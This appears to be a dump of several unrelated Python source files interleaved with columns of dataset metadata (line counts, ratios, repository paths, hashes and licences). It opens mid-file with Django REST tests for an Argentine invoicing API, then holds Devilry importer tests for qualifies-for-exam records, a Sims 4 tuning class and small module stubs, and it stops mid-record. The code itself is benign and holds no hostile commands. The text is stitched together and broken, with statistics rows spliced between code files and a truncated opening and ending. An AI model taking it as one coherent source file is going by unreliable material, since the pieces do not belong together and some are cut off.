self.assertEqual(
obj.service_start,
date.today()
)
self.assertEqual(
obj.service_end,
date.today()
)
self.assertEqual(
obj.concept_type,
models.ConceptType.objects.get(name='Do Easy')
)
self.assertEqual(obj.status, INVOICE_STATUSTYPE_DRAFT)
self.assertEqual(obj.subtotal, Decimal('300.00'))
self.assertEqual(obj.total, Decimal('341.00'))
self.assertEqual(obj.vat_total, Decimal('41.00'))
self.assertEqual(
obj.vat_subtotals.get(vat__name='10%').subtotal,
Decimal('20.00')
)
self.assertEqual(
obj.vat_subtotals.get(vat__name='21%').subtotal,
Decimal('21.00')
)
def test_update(self):
admin = User.objects.get(username='admin')
self.client.force_authenticate(user=admin)
url = reverse(
'api:invoice_ar:invoicear-detail',
args=[models.InvoiceAR.objects.get(number=1).pk]
)
data = {
'invoicear_company': reverse(
'api:invoice_ar:companyinvoicear-detail',
args=[
models.CompanyInvoiceAR.objects.get(
invoice_company__legal_name='Zanitti-Baragiola SH'
).pk
]
),
'invoicear_contact': reverse(
'api:invoice_ar:contactinvoicear-detail',
args=[
models.ContactInvoiceAR.objects.get(
invoice_contact__legal_name='Riper Tobias'
).pk
]
),
'number': 2,
'invoice_lines': [
{
'product': reverse(
'api:invoice:product-detail',
args=[Product.objects.get(name='Do Easy').pk]
),
'price_sold': 100.00,
'discount': 0.00,
'quantity': 1,
'description': 'The Negus used to rule Ethiopia'
},
{
'product': reverse(
'api:invoice:product-detail',
args=[
Product.objects.get(name='Do No Easy').pk
]
),
'price_sold': 200.00,
'discount': 0.00,
'quantity': 2,
'description': 'no description'
}
],
'invoice_type': reverse(
'api:invoice:invoicetype-detail',
args=[InvoiceType.objects.get(name='Do No Easy').pk]
),
'invoice_date': str(date.today() - timedelta(days=1)),
'notes': 'gains are killed by cardio',
'point_of_sale_ar': reverse(
'api:invoice_ar:pointofsalear-detail',
args=[models.PointOfSaleAR.objects.get(afip_id=2).pk]
),
'due_date': str(date.today() + timedelta(days=29)),
'service_start': str(date.today() - timedelta(days=1)),
'service_end': str(date.today() - timedelta(days=1)),
'concept_type': reverse(
'api:invoice_ar:concepttype-detail',
args=[models.ConceptType.objects.get(name='Do No Easy').pk]
)
}
response = self.client.put(url, data)
self.assertEqual(response.status_code, status.HTTP_200_OK)
obj = models.InvoiceAR.objects.get(number=2)
self.assertEqual(
obj.invoicear_company,
models.CompanyInvoiceAR.objects.get(
invoice_company__legal_name='Baragiola-Zanitti SH'
)
)
self.assertEqual(
obj.invoicear_contact,
models.ContactInvoiceAR.objects.get(
invoice_contact__legal_name='Riper Tobias'
)
)
self.assertEqual(obj.number, 2)
self.assertEqual(
obj.invoice_type,
InvoiceType.objects.get(name='Do No Easy')
)
self.assertEqual(obj.invoice_date, date.today() - timedelta(days=1))
self.assertEqual(obj.notes, 'gains are killed by cardio')
self.assertEqual(
obj.point_of_sale_ar,
models.PointOfSaleAR.objects.get(afip_id=2)
)
self.assertEqual(
obj.due_date,
date.today() + timedelta(days=29)
)
self.assertEqual(
obj.service_start,
date.today() - timedelta(days=1)
)
self.assertEqual(
obj.service_end,
date.today() - timedelta(days=1)
)
self.assertEqual(
obj.concept_type,
models.ConceptType.objects.get(name='Do No Easy')
)
self.assertEqual(obj.status, INVOICE_STATUSTYPE_DRAFT)
self.assertEqual(obj.subtotal, Decimal('500.00'))
self.assertEqual(obj.total, Decimal('594.00'))
self.assertEqual(obj.vat_total, Decimal('94.00'))
self.assertEqual(
obj.vat_subtotals.get(vat__name='10%').subtotal,
Decimal('10.00')
)
self.assertEqual(
obj.vat_subtotals.get(vat__name='21%').subtotal,
Decimal('84.00')
)
| 33.628448
| 76
| 0.503243
| 3,389
| 39,009
| 5.604603
| 0.071407
| 0.125566
| 0.111825
| 0.063178
| 0.909182
| 0.883174
| 0.852532
| 0.802359
| 0.741708
| 0.687217
| 0
| 0.026315
| 0.394063
| 39,009
| 1,159
| 77
| 33.657463
| 0.777256
| 0
| 0
| 0.641629
| 0
| 0
| 0.161159
| 0.059805
| 0
| 0
| 0
| 0
| 0.143891
| 1
| 0.025339
| false
| 0
| 0.009955
| 0
| 0.046154
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
2fbd1a3f064e91f24a62fbd3f2c26b8c21d38fe6
| 14,285
|
py
|
Python
|
devilry/devilry_import_v2database/tests/test_modelimporters/test_qualifiesforexam_importer.py
|
aless80/devilry-django
|
416c262e75170d5662542f15e2d7fecf5ab84730
|
[
"BSD-3-Clause"
] | null | null | null |
devilry/devilry_import_v2database/tests/test_modelimporters/test_qualifiesforexam_importer.py
|
aless80/devilry-django
|
416c262e75170d5662542f15e2d7fecf5ab84730
|
[
"BSD-3-Clause"
] | null | null | null |
devilry/devilry_import_v2database/tests/test_modelimporters/test_qualifiesforexam_importer.py
|
aless80/devilry-django
|
416c262e75170d5662542f15e2d7fecf5ab84730
|
[
"BSD-3-Clause"
] | null | null | null |
from django import test
from django.conf import settings
from django.utils import timezone
from django.utils.dateparse import parse_date
from model_mommy import mommy
from .importer_testcase_mixin import ImporterTestCaseMixin
from devilry.devilry_import_v2database.modelimporters.qualifiesforexam_importer import \
StatusImporter, QualifiesForFinalExamImporter
from devilry.devilry_qualifiesforexam.models import Status, QualifiesForFinalExam
from devilry.devilry_qualifiesforexam_plugin_approved.plugin import SelectAssignmentsPlugin
from devilry.devilry_qualifiesforexam_plugin_students.plugin import StudentSelectPlugin
from devilry.devilry_qualifiesforexam_plugin_points.plugin import PointsPlugin
class TestStatusImporter(ImporterTestCaseMixin, test.TestCase):
def _create_model_meta(self, max_id):
return {
"model_class_name": "Status",
"max_id": max_id,
"app_label": "devilry_qualifiesforexam"
}
def _create_status_dict(self, period, user, plugin=None, status="ready"):
return {
"pk": 3,
"model": "devilry_qualifiesforexam.status",
"fields": {
"status": status,
"plugin": plugin if plugin else "devilry_qualifiesforexam_points",
"period": period.id,
"createtime": "2017-06-29T14:12:28.680",
"user": user.id,
"exported_timestamp": None,
"message": "Message"
}
}
def test_importer(self):
test_user = mommy.make(settings.AUTH_USER_MODEL)
test_period = mommy.make_recipe('devilry.apps.core.period_active')
self.create_v2dump(
model_name='devilry_qualifiesforexam.status',
data=self._create_status_dict(period=test_period, user=test_user)
)
status_importer = StatusImporter(input_root=self.temp_root_dir)
status_importer.import_models()
self.assertEqual(Status.objects.count(), 1)
def test_importer_pk(self):
test_user = mommy.make(settings.AUTH_USER_MODEL)
test_period = mommy.make_recipe('devilry.apps.core.period_active')
self.create_v2dump(
model_name='devilry_qualifiesforexam.status',
data=self._create_status_dict(period=test_period, user=test_user)
)
status_importer = StatusImporter(input_root=self.temp_root_dir)
status_importer.import_models()
status = Status.objects.first()
self.assertEqual(status.pk, 3)
self.assertEqual(status.id, 3)
def test_importer_status_ready(self):
test_user = mommy.make(settings.AUTH_USER_MODEL)
test_period = mommy.make_recipe('devilry.apps.core.period_active')
self.create_v2dump(
model_name='devilry_qualifiesforexam.status',
data=self._create_status_dict(period=test_period, user=test_user)
)
status_importer = StatusImporter(input_root=self.temp_root_dir)
status_importer.import_models()
status = Status.objects.first()
self.assertEqual(status.status, Status.READY)
def test_importer_status_othen_than_ready_is_set_to_notready(self):
test_user = mommy.make(settings.AUTH_USER_MODEL)
test_period = mommy.make_recipe('devilry.apps.core.period_active')
self.create_v2dump(
model_name='devilry_qualifiesforexam.status',
data=self._create_status_dict(period=test_period, user=test_user, status='somestatus')
)
status_importer = StatusImporter(input_root=self.temp_root_dir)
status_importer.import_models()
status = Status.objects.first()
self.assertEqual(status.status, Status.NOTREADY)
def test_importer_message(self):
test_user = mommy.make(settings.AUTH_USER_MODEL)
test_period = mommy.make_recipe('devilry.apps.core.period_active')
self.create_v2dump(
model_name='devilry_qualifiesforexam.status',
data=self._create_status_dict(period=test_period, user=test_user)
)
status_importer = StatusImporter(input_root=self.temp_root_dir)
status_importer.import_models()
status = Status.objects.first()
self.assertEqual(status.message, "Message")
def test_importer_status_points_plugin(self):
test_user = mommy.make(settings.AUTH_USER_MODEL)
test_period = mommy.make_recipe('devilry.apps.core.period_active')
self.create_v2dump(
model_name='devilry_qualifiesforexam.status',
data=self._create_status_dict(period=test_period, user=test_user, plugin="devilry_qualifiesforexam_points")
)
status_importer = StatusImporter(input_root=self.temp_root_dir)
status_importer.import_models()
status = Status.objects.first()
self.assertEqual(status.plugin, PointsPlugin.plugintypeid)
def test_importer_status_approved_all_plugin(self):
test_user = mommy.make(settings.AUTH_USER_MODEL)
test_period = mommy.make_recipe('devilry.apps.core.period_active')
self.create_v2dump(
model_name='devilry_qualifiesforexam.status',
data=self._create_status_dict(period=test_period, user=test_user,
plugin='devilry_qualifiesforexam_approved.all')
)
status_importer = StatusImporter(input_root=self.temp_root_dir)
status_importer.import_models()
status = Status.objects.first()
self.assertEqual(status.plugin, SelectAssignmentsPlugin.plugintypeid)
def test_importer_status_approved_subset_plugin(self):
test_user = mommy.make(settings.AUTH_USER_MODEL)
test_period = mommy.make_recipe('devilry.apps.core.period_active')
self.create_v2dump(
model_name='devilry_qualifiesforexam.status',
data=self._create_status_dict(period=test_period, user=test_user,
plugin='devilry_qualifiesforexam_approved.subset')
)
status_importer = StatusImporter(input_root=self.temp_root_dir)
status_importer.import_models()
status = Status.objects.first()
self.assertEqual(status.plugin, SelectAssignmentsPlugin.plugintypeid)
def test_import_status_select_students_plugin(self):
test_user = mommy.make(settings.AUTH_USER_MODEL)
test_period = mommy.make_recipe('devilry.apps.core.period_active')
self.create_v2dump(
model_name='devilry_qualifiesforexam.status',
data=self._create_status_dict(period=test_period, user=test_user,
plugin='devilry_qualifiesforexam_select')
)
status_importer = StatusImporter(input_root=self.temp_root_dir)
status_importer.import_models()
status = Status.objects.first()
self.assertEqual(status.plugin, StudentSelectPlugin.plugintypeid)
def test_import_status_select_unknown_plugin(self):
test_user = mommy.make(settings.AUTH_USER_MODEL)
test_period = mommy.make_recipe('devilry.apps.core.period_active')
self.create_v2dump(
model_name='devilry_qualifiesforexam.status',
data=self._create_status_dict(period=test_period, user=test_user,
plugin='devilry_qualifiesforexam_asd')
)
status_importer = StatusImporter(input_root=self.temp_root_dir)
status_importer.import_models()
status = Status.objects.first()
self.assertEqual(status.plugin, 'Unknown Devilry V2 qualifiesforexam pluginid: devilry_qualifiesforexam_asd')
def test_auto_sequence_numbered_objects_uses_meta_max_id(self):
max_id = 10
test_user = mommy.make(settings.AUTH_USER_MODEL)
test_period = mommy.make_recipe('devilry.apps.core.period_active')
self.create_v2dump(
model_name='devilry_qualifiesforexam.status',
data=self._create_status_dict(period=test_period, user=test_user),
model_meta=self._create_model_meta(max_id=max_id)
)
status_importer = StatusImporter(input_root=self.temp_root_dir)
status_importer.import_models()
status = Status.objects.first()
self.assertEqual(status.pk, 3)
self.assertEqual(status.id, 3)
status_with_auto_id = mommy.make('devilry_qualifiesforexam.Status', period=test_period, user=test_user)
self.assertEqual(status_with_auto_id.pk, max_id+1)
self.assertEqual(status_with_auto_id.id, max_id+1)
class TestQualifiesForFinalExamImporter(ImporterTestCaseMixin, test.TestCase):
def _create_model_meta(self, max_id):
return {
"model_class_name": "QualifiesForFinalExam",
"max_id": max_id,
"app_label": "devilry_qualifiesforexam"
}
def _create_status_dict(self, status, related_student, qualifies=None):
return {
"pk": 3,
"model": "devilry_qualifiesforexam.qualifiesforfinalexam",
"fields": {
"relatedstudent": related_student.id,
"status": status.id,
"qualifies": qualifies
}
}
def test_importer(self):
test_relatedstudent = mommy.make('core.RelatedStudent')
test_status = mommy.make('devilry_qualifiesforexam.Status')
self.create_v2dump(
model_name='devilry_qualifiesforexam.qualifiesforfinalexam',
data=self._create_status_dict(status=test_status, related_student=test_relatedstudent)
)
QualifiesForFinalExamImporter(input_root=self.temp_root_dir).import_models()
self.assertEqual(QualifiesForFinalExam.objects.count(), 1)
def test_importer_pk(self):
test_relatedstudent = mommy.make('core.RelatedStudent')
test_status = mommy.make('devilry_qualifiesforexam.Status')
self.create_v2dump(
model_name='devilry_qualifiesforexam.qualifiesforfinalexam',
data=self._create_status_dict(status=test_status, related_student=test_relatedstudent)
)
QualifiesForFinalExamImporter(input_root=self.temp_root_dir).import_models()
qualifies = QualifiesForFinalExam.objects.first()
self.assertEqual(qualifies.pk, 3)
self.assertEqual(qualifies.id, 3)
def test_importer_status(self):
test_relatedstudent = mommy.make('core.RelatedStudent')
test_status = mommy.make('devilry_qualifiesforexam.Status')
self.create_v2dump(
model_name='devilry_qualifiesforexam.qualifiesforfinalexam',
data=self._create_status_dict(status=test_status, related_student=test_relatedstudent)
)
QualifiesForFinalExamImporter(input_root=self.temp_root_dir).import_models()
qualifies = QualifiesForFinalExam.objects.first()
self.assertEqual(qualifies.status, test_status)
def test_importer_relatedstudent(self):
test_relatedstudent = mommy.make('core.RelatedStudent')
test_status = mommy.make('devilry_qualifiesforexam.Status')
self.create_v2dump(
model_name='devilry_qualifiesforexam.qualifiesforfinalexam',
data=self._create_status_dict(status=test_status, related_student=test_relatedstudent)
)
QualifiesForFinalExamImporter(input_root=self.temp_root_dir).import_models()
qualifies = QualifiesForFinalExam.objects.first()
self.assertEqual(qualifies.relatedstudent, test_relatedstudent)
def test_importer_qualifies_true(self):
test_relatedstudent = mommy.make('core.RelatedStudent')
test_status = mommy.make('devilry_qualifiesforexam.Status')
self.create_v2dump(
model_name='devilry_qualifiesforexam.qualifiesforfinalexam',
data=self._create_status_dict(status=test_status, related_student=test_relatedstudent, qualifies=True)
)
QualifiesForFinalExamImporter(input_root=self.temp_root_dir).import_models()
qualifies = QualifiesForFinalExam.objects.first()
self.assertTrue(qualifies.qualifies)
def test_importer_qualifies_false(self):
test_relatedstudent = mommy.make('core.RelatedStudent')
test_status = mommy.make('devilry_qualifiesforexam.Status')
self.create_v2dump(
model_name='devilry_qualifiesforexam.qualifiesforfinalexam',
data=self._create_status_dict(status=test_status, related_student=test_relatedstudent, qualifies=False)
)
QualifiesForFinalExamImporter(input_root=self.temp_root_dir).import_models()
qualifies = QualifiesForFinalExam.objects.first()
self.assertFalse(qualifies.qualifies)
def test_importer_qualifies_none(self):
test_relatedstudent = mommy.make('core.RelatedStudent')
test_status = mommy.make('devilry_qualifiesforexam.Status')
self.create_v2dump(
model_name='devilry_qualifiesforexam.qualifiesforfinalexam',
data=self._create_status_dict(status=test_status, related_student=test_relatedstudent, qualifies=None)
)
QualifiesForFinalExamImporter(input_root=self.temp_root_dir).import_models()
qualifies = QualifiesForFinalExam.objects.first()
self.assertIsNone(qualifies.qualifies)
def test_auto_sequence_numbered_objects_uses_meta_max_id(self):
max_id = 10
test_relatedstudent = mommy.make('core.RelatedStudent')
test_status = mommy.make('devilry_qualifiesforexam.Status')
self.create_v2dump(
model_name='devilry_qualifiesforexam.qualifiesforfinalexam',
data=self._create_status_dict(status=test_status, related_student=test_relatedstudent, qualifies=None),
model_meta=self._create_model_meta(max_id=max_id)
)
QualifiesForFinalExamImporter(input_root=self.temp_root_dir).import_models()
qualifies = QualifiesForFinalExam.objects.first()
self.assertEqual(qualifies.pk, 3)
self.assertEqual(qualifies.id, 3)
qualifies_with_auto_id = mommy.make('devilry_qualifiesforexam.QualifiesForFinalExam')
self.assertEqual(qualifies_with_auto_id.pk, max_id+1)
self.assertEqual(qualifies_with_auto_id.id, max_id+1)
| 48.260135
| 119
| 0.706265
| 1,537
| 14,285
| 6.222511
| 0.07352
| 0.105813
| 0.035132
| 0.041719
| 0.854036
| 0.831347
| 0.788896
| 0.776349
| 0.776349
| 0.763174
| 0
| 0.005122
| 0.20735
| 14,285
| 295
| 120
| 48.423729
| 0.83953
| 0
| 0
| 0.632959
| 0
| 0
| 0.152398
| 0.123906
| 0
| 0
| 0
| 0
| 0.101124
| 1
| 0.086142
| false
| 0
| 0.228464
| 0.014981
| 0.337079
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
640e4ff0b52e56376f75a16db48899141b55b809
| 169
|
py
|
Python
|
triad/utils/__init__.py
|
kvnkho/triad
|
371a5e84945b2203f1108598b8e67136414589a3
|
[
"Apache-2.0"
] | 6
|
2020-10-04T23:01:33.000Z
|
2021-11-08T11:46:39.000Z
|
triad/utils/__init__.py
|
kvnkho/triad
|
371a5e84945b2203f1108598b8e67136414589a3
|
[
"Apache-2.0"
] | 16
|
2020-09-28T21:58:08.000Z
|
2021-12-29T07:09:03.000Z
|
triad/utils/__init__.py
|
kvnkho/triad
|
371a5e84945b2203f1108598b8e67136414589a3
|
[
"Apache-2.0"
] | 1
|
2020-10-10T20:36:43.000Z
|
2020-10-10T20:36:43.000Z
|
# flake8: noqa
from triad.utils.assertion import assert_arg_not_none, assert_or_throw
from triad.utils.hash import to_uuid
from triad.utils.iter import make_empty_aware
| 33.8
| 70
| 0.852071
| 29
| 169
| 4.689655
| 0.689655
| 0.198529
| 0.308824
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.006536
| 0.094675
| 169
| 4
| 71
| 42.25
| 0.882353
| 0.071006
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.333333
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
ff7540d786ab22443dc636b82caf6d053f4d74c0
| 1,708
|
py
|
Python
|
S4/S4 Library/simulation/sims/template_affordance_provider/tunable_provided_template_affordance.py
|
NeonOcean/Environment
|
ca658cf66e8fd6866c22a4a0136d415705b36d26
|
[
"CC-BY-4.0"
] | 1
|
2021-05-20T19:33:37.000Z
|
2021-05-20T19:33:37.000Z
|
S4/S4 Library/simulation/sims/template_affordance_provider/tunable_provided_template_affordance.py
|
NeonOcean/Environment
|
ca658cf66e8fd6866c22a4a0136d415705b36d26
|
[
"CC-BY-4.0"
] | null | null | null |
S4/S4 Library/simulation/sims/template_affordance_provider/tunable_provided_template_affordance.py
|
NeonOcean/Environment
|
ca658cf66e8fd6866c22a4a0136d415705b36d26
|
[
"CC-BY-4.0"
] | null | null | null |
from sims.template_affordance_provider.tunable_affordance_template_discipline import TunableAffordanceTemplateDiscipline
from sims4.tuning.tunable import TunableTuple, TunableSimMinute, TunableList, TunableVariant, OptionalTunable
class TunableProvidedTemplateAffordance(TunableTuple):
def __init__(self, description='\n A list of affordances and template data to attach to the affordances and\n then provide on the owning sim for some tunable duration.\n ', **kwargs):
super().__init__(description=description, post_run_duration=OptionalTunable(description='\n The amount of time, after the provided (interaction, buff, etc.)\n is done, to provide the templates. If the default time is used,\n the Default Post Run Duration module tuning will be used.\n ', tunable=TunableSimMinute(description='\n The amount of time, after the providing interaction ends, this\n set of template affordances will be provided. A duration of 0\n minutes means the template affordance will only be provided for\n the duration of the providing interaction.\n ', default=0), disabled_name='Use_Default_Time', enabled_name='Use_Custom_Time'), template_affordances=TunableList(description='\n A list of template affordances and their corresponding template\n data.\n ', tunable=TunableVariant(description='\n A template affordance and its template data.\n ', discipline=TunableAffordanceTemplateDiscipline.TunableFactory(), default='discipline')), **kwargs)
| 213.5
| 1,210
| 0.691452
| 192
| 1,708
| 6.036458
| 0.401042
| 0.051769
| 0.03365
| 0.029336
| 0.093184
| 0.060397
| 0.060397
| 0.060397
| 0
| 0
| 0
| 0.002322
| 0.24356
| 1,708
| 7
| 1,211
| 244
| 0.894737
| 0
| 0
| 0
| 0
| 0.6
| 0.587822
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0
| 0.4
| 0
| 0.8
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
ff92af82c1277e2754f71f08f643c5cda12eaa1e
| 184
|
py
|
Python
|
packages/auto-nlp-deployment/src/trainings/runtimes/docker/__init__.py
|
fhswf/tagflip-autonlp
|
f94abb35ed06198567e5d9cbb7abb7e112149d6c
|
[
"MIT"
] | 4
|
2021-10-05T17:34:02.000Z
|
2022-03-23T07:33:19.000Z
|
packages/auto-nlp-deployment/src/trainings/runtimes/docker/__init__.py
|
fhswf/tagflip-autonlp
|
f94abb35ed06198567e5d9cbb7abb7e112149d6c
|
[
"MIT"
] | 11
|
2022-03-01T14:37:52.000Z
|
2022-03-31T05:11:23.000Z
|
packages/auto-nlp-deployment/src/trainings/runtimes/docker/__init__.py
|
fhswf/tagflip-autonlp
|
f94abb35ed06198567e5d9cbb7abb7e112149d6c
|
[
"MIT"
] | 1
|
2022-01-29T13:32:22.000Z
|
2022-01-29T13:32:22.000Z
|
from .docker_training_runtime import DockerTrainingRuntime
from .docker_training_runtime_config import DockerTrainingRuntimeConfig
from .docker_training_task import DockerTrainingTask
| 46
| 71
| 0.918478
| 19
| 184
| 8.526316
| 0.526316
| 0.185185
| 0.333333
| 0.308642
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.065217
| 184
| 3
| 72
| 61.333333
| 0.94186
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 6
|
4444135fa7d08d614e7f61e0bef051df28da21d9
| 192
|
py
|
Python
|
tests/_other_module.py
|
gregie156/rdisq
|
bed3028997f7f64d956b2731437febfc5f2d0061
|
[
"MIT"
] | 1
|
2015-09-08T06:12:14.000Z
|
2015-09-08T06:12:14.000Z
|
tests/_other_module.py
|
gregie156/rdisq
|
bed3028997f7f64d956b2731437febfc5f2d0061
|
[
"MIT"
] | null | null | null |
tests/_other_module.py
|
gregie156/rdisq
|
bed3028997f7f64d956b2731437febfc5f2d0061
|
[
"MIT"
] | 2
|
2016-12-16T10:17:39.000Z
|
2020-06-13T14:37:57.000Z
|
"""To test how auto-detection of handler-class works with classes from other modules"""
from rdisq.request.message import RdisqMessage
class MessageFromExternalModule(RdisqMessage):
pass
| 32
| 87
| 0.807292
| 24
| 192
| 6.458333
| 0.875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.125
| 192
| 6
| 88
| 32
| 0.922619
| 0.421875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.333333
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 6
|
444b2e2c7f0f65d0b5f7ba6fdf7f0ecfc97f4d1c
| 118
|
py
|
Python
|
backend/users/admin.py
|
rabbilyasar/photo-app
|
a479eb1d9aed5f2b0c6a8bff182fc754e094ef85
|
[
"MIT"
] | null | null | null |
backend/users/admin.py
|
rabbilyasar/photo-app
|
a479eb1d9aed5f2b0c6a8bff182fc754e094ef85
|
[
"MIT"
] | null | null | null |
backend/users/admin.py
|
rabbilyasar/photo-app
|
a479eb1d9aed5f2b0c6a8bff182fc754e094ef85
|
[
"MIT"
] | null | null | null |
from django.contrib import admin
from django.contrib.auth import get_user_model
admin.site.register(get_user_model())
| 29.5
| 46
| 0.847458
| 19
| 118
| 5.052632
| 0.578947
| 0.208333
| 0.354167
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.076271
| 118
| 4
| 47
| 29.5
| 0.880734
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 6
|
922c6959cdb3d1ae6948d3f9838d9fd85526c23d
| 105
|
py
|
Python
|
bans/database/common.py
|
examknow/bans
|
2a405788770090e552e605e00e70cfb2cf910ac1
|
[
"MIT"
] | null | null | null |
bans/database/common.py
|
examknow/bans
|
2a405788770090e552e605e00e70cfb2cf910ac1
|
[
"MIT"
] | null | null | null |
bans/database/common.py
|
examknow/bans
|
2a405788770090e552e605e00e70cfb2cf910ac1
|
[
"MIT"
] | null | null | null |
class DBTable(object):
def __init__(self, db_location: str):
self._db_location = db_location
| 26.25
| 41
| 0.704762
| 14
| 105
| 4.714286
| 0.642857
| 0.454545
| 0.424242
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.2
| 105
| 3
| 42
| 35
| 0.785714
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 6
|
922ebbdd04efb0dd43f3ace3b299d783e86149ce
| 27
|
py
|
Python
|
type_mappers/example.py
|
christabor/type_mappers
|
4c992b350dd579451f8956fb6ba8f70dd6e9a42f
|
[
"MIT"
] | 2
|
2017-01-27T22:55:57.000Z
|
2017-01-29T01:56:52.000Z
|
type_mappers/example.py
|
christabor/type_mappers
|
4c992b350dd579451f8956fb6ba8f70dd6e9a42f
|
[
"MIT"
] | 5
|
2017-01-28T07:36:31.000Z
|
2018-10-12T16:37:06.000Z
|
type_mappers/example.py
|
christabor/type_mappers
|
4c992b350dd579451f8956fb6ba8f70dd6e9a42f
|
[
"MIT"
] | null | null | null |
from type_mappers import *
| 13.5
| 26
| 0.814815
| 4
| 27
| 5.25
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.148148
| 27
| 1
| 27
| 27
| 0.913043
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
9246509ac7b49513170c02e13891de80c2511c3a
| 29
|
py
|
Python
|
api/dorest/dorest/__init__.py
|
ichise-laboratory/uwkgm
|
6505fa5d524336b30505804a3d241143cb1fa4bf
|
[
"BSD-3-Clause"
] | null | null | null |
api/dorest/dorest/__init__.py
|
ichise-laboratory/uwkgm
|
6505fa5d524336b30505804a3d241143cb1fa4bf
|
[
"BSD-3-Clause"
] | 6
|
2020-11-25T10:49:45.000Z
|
2021-09-22T18:50:03.000Z
|
api/dorest/dorest/__init__.py
|
ichise-laboratory/uwkgm
|
6505fa5d524336b30505804a3d241143cb1fa4bf
|
[
"BSD-3-Clause"
] | 1
|
2020-12-24T02:15:42.000Z
|
2020-12-24T02:15:42.000Z
|
from .libs.sh import verbose
| 14.5
| 28
| 0.793103
| 5
| 29
| 4.6
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.137931
| 29
| 1
| 29
| 29
| 0.92
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
9291017fab8fc41f30f6a3b5858bb70a792408b4
| 73
|
py
|
Python
|
ik/src/tests/python/test_Solver.py
|
LaudateCorpus1/ik
|
c472230ecd6958f7a105d7188ebb1e871ef7a8b1
|
[
"MIT"
] | 363
|
2017-08-22T03:07:55.000Z
|
2022-03-27T02:41:30.000Z
|
ik/src/tests/python/test_Solver.py
|
LaudateCorpus1/ik
|
